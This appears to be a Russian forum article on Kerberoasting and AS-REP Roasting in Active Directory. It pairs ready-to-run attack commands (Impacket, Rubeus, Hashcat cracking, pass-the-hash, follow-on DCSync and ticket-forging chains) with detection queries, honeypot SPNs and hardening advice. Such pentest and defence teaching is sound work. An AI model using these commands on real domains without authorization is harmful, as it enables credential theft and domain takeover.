ANTICHAT - Атаки на Active Directory аутентификацию: Kerberoasting и AS-REP Roasting от разведки до детекта

https://forum.antichat.xyz/attachmen...c5b7b73acc.png

Цитата:

Статья записана со слов моего коллеги - практикующего пентестера, который регулярно работает с Active Directory на внутренних проектах. Дальше повествование от первого лица.

Когда я провожу внутренний пентест, первое, что делаю после получения доменной учётки - проверяю, есть ли в домене Kerberoastable-аккаунты и пользователи без преаутентификации. В восьми из десяти проектов это даёт хотя бы одну сервисную учётку со слабым паролем и прямой путь к повышению привилегий. Ни один антивирус не пикнет, потому что всё, что я делаю - легитимные запросы к KDC, предусмотренные самим протоколом Kerberos. Штатная функция, а не эксплойт.

Дальше разберу атаки на Active Directory аутентификацию через Kerberoasting и AS-REP Roasting: от разведки через LDAP до офлайн-крекинга в Hashcat и детектирования каждого шага по Event ID. Не абстрактно - с конкретными командами, флагами и объяснением, почему выбран именно такой подход.
Kerberos за 90 секунд - что нужно знать для атаки
Перед тем как ломать, надо понимать протокол. Kerberos работает на билетной системе из трёх участников: клиент, KDC (Key Distribution Center, он же контроллер домена) и целевой сервис.

Упрощённый флоу:

AS-REQ → AS-REP: клиент шлёт запрос аутентификации на KDC. Если преаутентификация включена, запрос содержит временную метку, зашифрованную хэшем пароля пользователя. KDC проверяет метку и возвращает TGT (Ticket Granting Ticket).
TGS-REQ → TGS-REP: клиент предъявляет TGT и запрашивает сервисный билет (TGS) для конкретного SPN (Service Principal Name). KDC возвращает TGS, зашифрованный хэшем пароля сервисного аккаунта.
AP-REQ: клиент предъявляет TGS целевому сервису.

Критический момент для пентестера: на шаге 2 KDC не проверяет, имеет ли запрашивающий пользователь право доступа к сервису. Любой доменный пользователь может запросить TGS для любого SPN. Исключения: члены группы Protected Users не могут аутентифицироваться через RC4, а Kerberos Armoring (FAST) добавляет дополнительный уровень защиты на этапе запроса. Но в дефолтной конфигурации - карт-бланш. А часть билета зашифрована хэшем пароля сервисной учётки - именно эту часть мы будем крекать офлайн.
Kerberoasting атака - полный цикл
Kerberoasting (T1558.003, Credential Access по MITRE ATT&CK) - постэксплуатационная техника для извлечения зашифрованных учётных данных сервисных аккаунтов из Active Directory. Любой аутентифицированный доменный пользователь может провернуть это - привилегии Domain Admin не нужны.
Разведка - поиск SPN через LDAP
Первый шаг - найти аккаунты, к которым привязаны SPN. Тут важно не путать: SPN на машинных аккаунтах (host-based SPN) нам неинтересны. Их пароли - 240 байт криптографически случайных данных, которые ротируются каждые 30 дней по умолчанию (параметр

Код:

Domain member: Maximum machine account password age

). Крекать их бессмысленно. Нас интересуют SPN на пользовательских аккаунтах - их пароли задаёт человек, и они часто живут годами без ротации.

Через PowerShell, если работаю с Windows-хоста:

Код:

Код:

# Поиск пользовательских аккаунтов с SPN

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, MemberOf | Select-Object Name, ServicePrincipalName, PasswordLastSet, MemberOf

Поле

Код:

PasswordLastSet

- критично. Если пароль не менялся 3+ года, шанс на успешный крек сильно выше.

Код:

MemberOf

покажет, стоит ли аккаунт в привилегированных группах.

Через BloodHound - после сбора данных SharpHound'ом - Kerberoastable-аккаунты находятся встроенным запросом List all Kerberoastable Accounts. BloodHound покажет не просто список, а пути от скомпрометированной учётки до цели - то, чего обычный LDAP-запрос не даст.

Через CrackMapExec с Linux-хоста:

Bash:

Код:

# Перечисление Kerberoastable аккаунтов

crackmapexec ldap dc01.corp.local -u user -p

'Password123'

--kerberoasting output.txt

Запрос TGS и извлечение хэшей
После обнаружения целей запрашиваем сервисные билеты. Два основных инструмента: Impacket (с Linux) и Rubeus (с Windows).

Impacket - GetUserSPNs.py:

🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Bash:

Код:

# Запрос TGS для всех Kerberoastable аккаунтов

python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip

10.10

.10.1 -request -outputfile tgs_hashes.txt

Флаги:

Код:

-dc-ip

- явно указываем IP контроллера домена; без него скрипт попытается резолвить через DNS, что не всегда работает из внешней сети
Код:

-request

- собственно запрос TGS; без этого флага скрипт просто выведет список аккаунтов с SPN
Код:

-outputfile

- сохраняет хэши в формате, готовом для Hashcat

Если пароля нет, но есть NTLM-хэш (например, после Responder). Формат:

Код:

-hashes LMHASH:NTHASH

, где LM-часть обычно

Код:

aad3b435b51404eeaad3b435b51404ee

(пустой LM), а NT-часть - реальный хэш:

Bash:

Код:

# Kerberoasting через pass-the-hash

python3 GetUserSPNs.py corp.local/user -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b -dc-ip

10.10

.10.1 -request -outputfile tgs_hashes.txt

Rubeus с Windows-хоста:

Код:

Код:

# Запрос TGS для всех Kerberoastable аккаунтов

.\Rubeus.exe kerberoast /outfile:tickets.txt

Rubeus по умолчанию запрашивает билеты с RC4-шифрованием (etype 23). Это можно изменить:

Код:

Код:

# Форсировать AES-шифрование (тише, но крек медленнее)

.\Rubeus.exe kerberoast /enctype:aes256 /outfile:tickets_aes.txt

Момент, который часто упускают: если в домене принудительно отключён RC4 и включён только AES, Rubeus с дефолтными параметрами вернёт ошибку. На одном проекте я потратил час, разбираясь с

Код:

KRB-ERROR (14)

, пока не догадался заглянуть в GPO - там стояло Configure encryption types allowed for Kerberos только с AES-128 и AES-256. В таком случае

Код:

/enctype:aes256

спасает - билет получишь, но крек займёт значительно больше времени.
Взлом Kerberos хэшей - Hashcat и режимы
Хэши из TGS-билетов крекаются офлайн - KDC об этом не узнает, логов не будет. Тишина.

Bash:

Код:

# RC4 (etype 23) - Hashcat mode 13100

hashcat -m

13100

tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AES-256 (etype 18) - Hashcat mode 19700

hashcat -m

19700

tgs_hashes_aes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Разница в скорости - колоссальная. На GPU уровня RTX 4090:

RC4 (mode 13100): сотни тысяч хэшей в секунду
AES-256 (mode 19700): на порядки медленнее

Именно поэтому атакующие предпочитают RC4 - и именно поэтому его отключение на стороне защиты так важно. Microsoft до сих пор поддерживает RC4 для обратной совместимости (спасибо, мелкософт), что делает Kerberoasting-атаки быстрее и проще, чем могло бы быть.

Правила (

Код:

-r

) увеличивают эффективность перебора:

Код:

best64.rule

берёт каждое слово из словаря и создаёт 64 мутации - добавление цифр, замена символов, смена регистра. Для сервисных аккаунтов, где пароли часто вида

Код:

Summer2023!

или

Код:

Svc_Password1

, это работает отлично.
Что даёт успешный Kerberoasting
Получив пароль сервисного аккаунта, атакующий наследует все его права. Если учётка в Domain Admins - игра окончена. Если нет - она часто имеет доступ к базам данных (SQL Server), файловым шарам или используется для делегирования, что открывает путь к lateral movement. По данным CrowdStrike, после получения учётных данных через Kerberoasting атакующий может красть данные, повышать привилегии и закрепляться бэкдорами.
AS-REP Roasting - когда пароль не нужен даже для запроса
AS-REP Roasting (T1558.004, Credential Access по MITRE ATT&CK) эксплуатирует аккаунты с отключённой преаутентификацией Kerberos. В отличие от Kerberoasting, здесь даже не нужна валидная доменная учётка - достаточно знать имя пользователя.

Напомню механику: при обычной аутентификации клиент шлёт AS-REQ с зашифрованной временной меткой. Если преаутентификация отключена (

Код:

DONT_REQUIRE_PREAUTH

), KDC вернёт AS-REP с частью данных, зашифрованных хэшем пароля пользователя, без проверки подлинности запроса. Согласно MITRE ATT&CK, для каждого такого аккаунта атакующий может отправить AS-REQ без зашифрованной метки и получить AS-REP с данными, которые могут быть зашифрованы небезопасным алгоритмом вроде RC4.
Поиск аккаунтов без преаутентификации

Код:

Код:

# PowerShell - поиск аккаунтов с DONT_REQUIRE_PREAUTH

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object Name, DistinguishedName

Встречается чаще, чем кажется. По данным HackTheBox, на одном из реальных пентестов все учётные записи имели отключённую преаутентификацию из-за сбоя внутреннего приложения - админы включили эту настройку «временно», и она продержалась почти два года. Классика: нет ничего более постоянного, чем временное.
Получение AS-REP и крекинг
Impacket - GetNPUsers.py:

Bash:

Код:

# С доменной учёткой - найдёт все уязвимые аккаунты автоматически

python3 GetNPUsers.py corp.local/user:Password123 -dc-ip

10.10

.10.1 -request -outputfile asrep_hashes.txt

# Без учётки - нужен список юзернеймов

python3 GetNPUsers.py corp.local/ -dc-ip

10.10

.10.1 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

Флаг

Код:

-format hashcat

сразу выдаёт хэши в формате mode 18200.

Rubeus:

Код:

Код:

.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

Крекинг:

Bash:

Код:

# AS-REP hash - Hashcat mode 18200

hashcat -m

18200

asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Режим 18200 крекает быстро - сравнимо с RC4-билетами из Kerberoasting. Если пароль словарный, результат через минуты.

Реальные кейсы использования AS-REP Roasting
Это не теоретическая угроза. По исследованию The DFIR Report, группировка BlackSuit использовала AS-REP Roasting в атаках с ransomware - целились в аккаунты с отключённой преаутентификацией для получения первоначального доступа к паролям. Группировка Diavol (MITRE ATT&CK Software S0659) действовала аналогично: захват зашифрованных AS-REP-ответов с последующим офлайн-взломом для получения plaintext-паролей.
Детектирование Kerberoasting и AS-REP Roasting
Переключаюсь в режим Purple Team. Каждая из описанных атак оставляет следы в логах контроллера домена - вопрос в том, сможете ли вы отличить атаку от легитимной активности среди тысяч событий Kerberos в минуту.
Event ID 4769 - детектирование Kerberoasting
Event ID 4769 (A Kerberos service ticket was requested) генерируется при каждом запросе TGS. В корпоративной среде таких событий - тысячи в минуту. Тупо мониторить 4769 - утонете в шуме.

Ключевые поля для фильтрации:

Ticket Encryption Type = 0x17 (RC4-HMAC). В среде с настроенным AES запросы с RC4 - аномалия. Все основные инструменты (Impacket, Rubeus) по умолчанию запрашивают именно RC4
Количество запросов от одного пользователя. Один аккаунт запросил TGS для 15 разных SPN за 30 секунд - это разведка или Kerberoasting, а не нормальная работа

Пример запроса для Splunk:

Код:

Код:

index=windows EventCode=4769 Ticket_Encryption_Type="0x17"

| bin _time span=5m

| stats count by _time, Account_Name, Service_Name

| where count > 10

Для ELK/OpenSearch логика аналогична - фильтр по

Код:

winlog.event_id: 4769

Код:

winlog.event_data.TicketEncryptionType: "0x17"

.
Event ID 4768 - детектирование AS-REP Roasting
Event ID 4768 (A Kerberos authentication ticket (TGT) was requested) - основной индикатор AS-REP Roasting. По детальным разборам HackTheBox и Semperis, три условия в связке дают высокоточный индикатор:

Pre-Authentication Type = 0 (отключена). Главное условие - без него атака невозможна. Фильтрация только по этому полю уже убирает ~90% шума
Service Name = krbtgt. При аутентификации через Kerberos сервисом всегда выступает krbtgt
Ticket Encryption Type = 0x17 (RC4). Атакующие запрашивают RC4, потому что он быстрее крекается

Когда все три совпали - вероятность false positive минимальна.

Пример запроса для Splunk:

Код:

Код:

index=windows EventCode=4768 Pre_Authentication_Type=0 Ticket_Encryption_Type="0x17" Service_Name="krbtgt"

| table _time, Account_Name, Client_Address, Ticket_Encryption_Type

Нюанс: Event ID 4768 покажет жертву (аккаунт, для которого запросили AS-REP), но не покажет, кто запросил. Чтобы вычислить атакующего, нужна корреляция: по

Код:

Client_Address

из 4768 ищем аутентификацию на этом хосте - Event ID 4624 с тем же IP покажет, под каким аккаунтом работал атакующий.
Honeypot SPN - ловушка с нулевым false positive
Этот приём работает лучше любого SIEM-правила. Создаёте в AD сервисный аккаунт с аппетитным SPN (например,

Код:

MSSQLSvc/sqlprod.corp.local:1433

), ставите на него пароль в 30+ символов со спецсимволами, и никогда не используете в продакшене. Аккаунт не привязан к реальному сервису - никто не должен запрашивать для него TGS.

Появление Event ID 4769 с

Код:

Service_Name

, указывающим на этот аккаунт, - стопроцентный индикатор Kerberoasting. Ноль false positive, потому что легитимного трафика к этому SPN быть не может. Красота.

По данным Zscaler, такой deception-based подход позволяет остановить атаку автоматически: при срабатывании алерт уходит в EDR с командой на изоляцию хоста. Это быстрее любой корреляции в SIEM.

Практический совет: создайте несколько honeypot-аккаунтов с разными типами SPN (MSSQL, HTTP, exchangeMDB). Rubeus и GetUserSPNs.py запрашивают все SPN разом - любой из honeypot'ов сработает как растяжка.
Защита - что реально работает в корпоративных AD-средах
gMSA и политика паролей для сервисных аккаунтов
Group Managed Service Accounts (gMSA) - самое эффективное средство против Kerberoasting. Пароли gMSA - 240 байт криптографически случайных данных, ротируются автоматически каждые 30 дней. Крекать бессмысленно. По рекомендациям CrowdStrike, gMSA полностью снимают риск, связанный с ручным управлением паролями сервисных учёток.

Если gMSA неприменим (старые приложения, специфические конфигурации) - минимум 25 символов со спецсимволами и принудительная ротация. На бумаге это базовая рекомендация, но на практике я встречаю сервисные аккаунты с паролями вроде

Код:

Password1

в каждом втором проекте. На заборе тоже написано «сложный пароль обязателен».
Отключение RC4 и форсирование AES
Это одновременно замедляет крекинг и делает атаку заметнее в логах. Двойной профит.

Через GPO: Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Configure encryption types allowed for Kerberos.

Оставьте только:

AES128_HMAC_SHA1
AES256_HMAC_SHA1

Предупреждение из практики: перед отключением RC4 проведите аудит. Некоторые legacy-приложения и старые ОС (Windows Server 2003, некоторые Linux-клиенты со старым MIT Kerberos) не поддерживают AES. Отключите RC4 без проверки - сломаете аутентификацию для этих систем, и в понедельник утром вас будут искать с фонарями.

После отключения RC4 любой запрос TGS с

Код:

etype 0x17

в логах становится явной аномалией, что сильно упрощает детектирование.
Аудит SPN и аккаунтов без преаутентификации
Регулярная проверка - раз в квартал минимум:

Код:

Код:

# Аккаунты с SPN (потенциальные цели Kerberoasting)

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet |

  Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } |

  Select-Object Name, ServicePrincipalName, PasswordLastSet



# Аккаунты без преаутентификации (цели AS-REP Roasting)

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |

  Select-Object Name, DistinguishedName

Первый запрос покажет аккаунты с SPN, пароль которых не менялся больше года - приоритетные цели для атакующего. Второй - аккаунты, уязвимые к AS-REP Roasting.

PingCastle позволяет проводить комплексный аудит безопасности домена и выявлять подобные проблемы автоматически - рекомендую прогнать хотя бы раз, результаты часто отрезвляют.
Связь с другими атаками на Active Directory
Kerberoasting и AS-REP Roasting редко существуют в изоляции. На реальном пентесте они - звено цепочки:

Kerberoasting → DCSync (T1003.006): получили пароль сервисного аккаунта с правами репликации → выгрузили хэши всех пользователей через DCSync → создали Golden Ticket (T1558.001) с хэшем krbtgt. Домен - наш.

AS-REP Roasting → Pass the Ticket (T1550.003): получили пароль пользователя → запросили TGT → используем для lateral movement без повторной аутентификации.

Kerberoasting → Silver Ticket (T1558.002): получили пароль сервисного аккаунта → создали поддельный TGS для целевого сервиса без обращения к KDC → доступ к ресурсу без следов в логах контроллера домена. Тихо, как в библиотеке.

Для пентестера важно видеть полную картину. BloodHound покажет, что аккаунт

Код:

svc_backup

Kerberoastable, состоит в группе

Код:

Backup Operators

, и через это членство можно добраться до NTDS.dit. Это не три отдельные техники - это один путь атаки.
Практический чек-лист: пентест AD аутентификации

🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Пошаговый план для внутреннего пентеста - делай раз, делай два, делай три:

Шаг 1: Разведка (Domain Account Discovery, T1087.002)

Bash:

Код:

# Список Kerberoastable аккаунтов (без запроса билетов)

python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip

10.10

.10.1

# Список аккаунтов без преаутентификации

python3 GetNPUsers.py corp.local/user:Password123 -dc-ip

10.10

.10.1

Шаг 2: Kerberoasting

Bash:

Код:

python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip

10.10

.10.1 -request -outputfile tgs_hashes.txt

Шаг 3: AS-REP Roasting

Bash:

Код:

# При наличии учётных данных -request не обязателен (автоматически запрашивает AS-REP)

python3 GetNPUsers.py corp.local/user:Password123 -dc-ip

10.10

.10.1 -outputfile asrep_hashes.txt -format hashcat

Шаг 4: Крекинг

Bash:

Код:

# Kerberoasting RC4

hashcat -m

13100

tgs_hashes.txt wordlist.txt -r best64.rule

# AS-REP

hashcat -m

18200

asrep_hashes.txt wordlist.txt -r best64.rule

Шаг 5: Валидация

Bash:

Код:

# Проверка полученных учётных данных

crackmapexec smb

10.10

.10.1 -u svc_sql -p

'CrackedPassword123'

Шаг 6: Документирование для Purple Team

Зафиксируйте время каждого действия. После теста передайте SOC-команде timestamps - пусть проверят, что сгенерировалось в логах. Если ни один из ваших запросов не породил алерт - у них проблема, и лучше узнать об этом сейчас, а не когда придёт настоящий гость.

Сравнение Kerberoasting и AS-REP Roasting

ПараметрKerberoastingAS-REP RoastingMITRE ATT&CKT1558.003T1558.004Нужна доменная учёткаДаНет (достаточно имён пользователей)Целевой аккаунтС привязанным SPNС отключённой преаутентификациейТип билетаTGS (сервисный)AS-REP (аутентификационный)Event ID для детекта47694768Hashcat mode (RC4)1310018200Hashcat mode (AES-256)1970019900 (если в домене отключён RC4; значительно медленнее)Частота в реальных средахВысокаяСредняяОснов ная защитаgMSA, длинные пароли, отключение RC4Включить преаутентификацию

Итоги
Kerberoasting и AS-REP Roasting - атаки на Active Directory аутентификацию, которые не требуют привилегий, не используют малварь и эксплуатируют штатные механизмы протокола Kerberos. Защита строится на трёх уровнях: усиление паролей (gMSA, 25+ символов), ограничение криптографии (только AES), мониторинг (Event ID 4769/4768 с фильтрацией по etype и honeypot SPN). Ни один из уровней не работает в одиночку - только в связке.

Если вы пентестер - проверяйте эти вектора первыми, они дают результат быстрее всего. Если на стороне защиты - прямо сейчас запустите два PowerShell-запроса из раздела «Аудит». Список из двадцати учёток, полученный за пять минут, покажет реальную поверхность атаки вашего домена. Если в этом списке есть аккаунт с

Код:

PasswordLastSet

трёхлетней давности и членством в Domain Admins - у вас та самая проблема, о которой вся эта статья.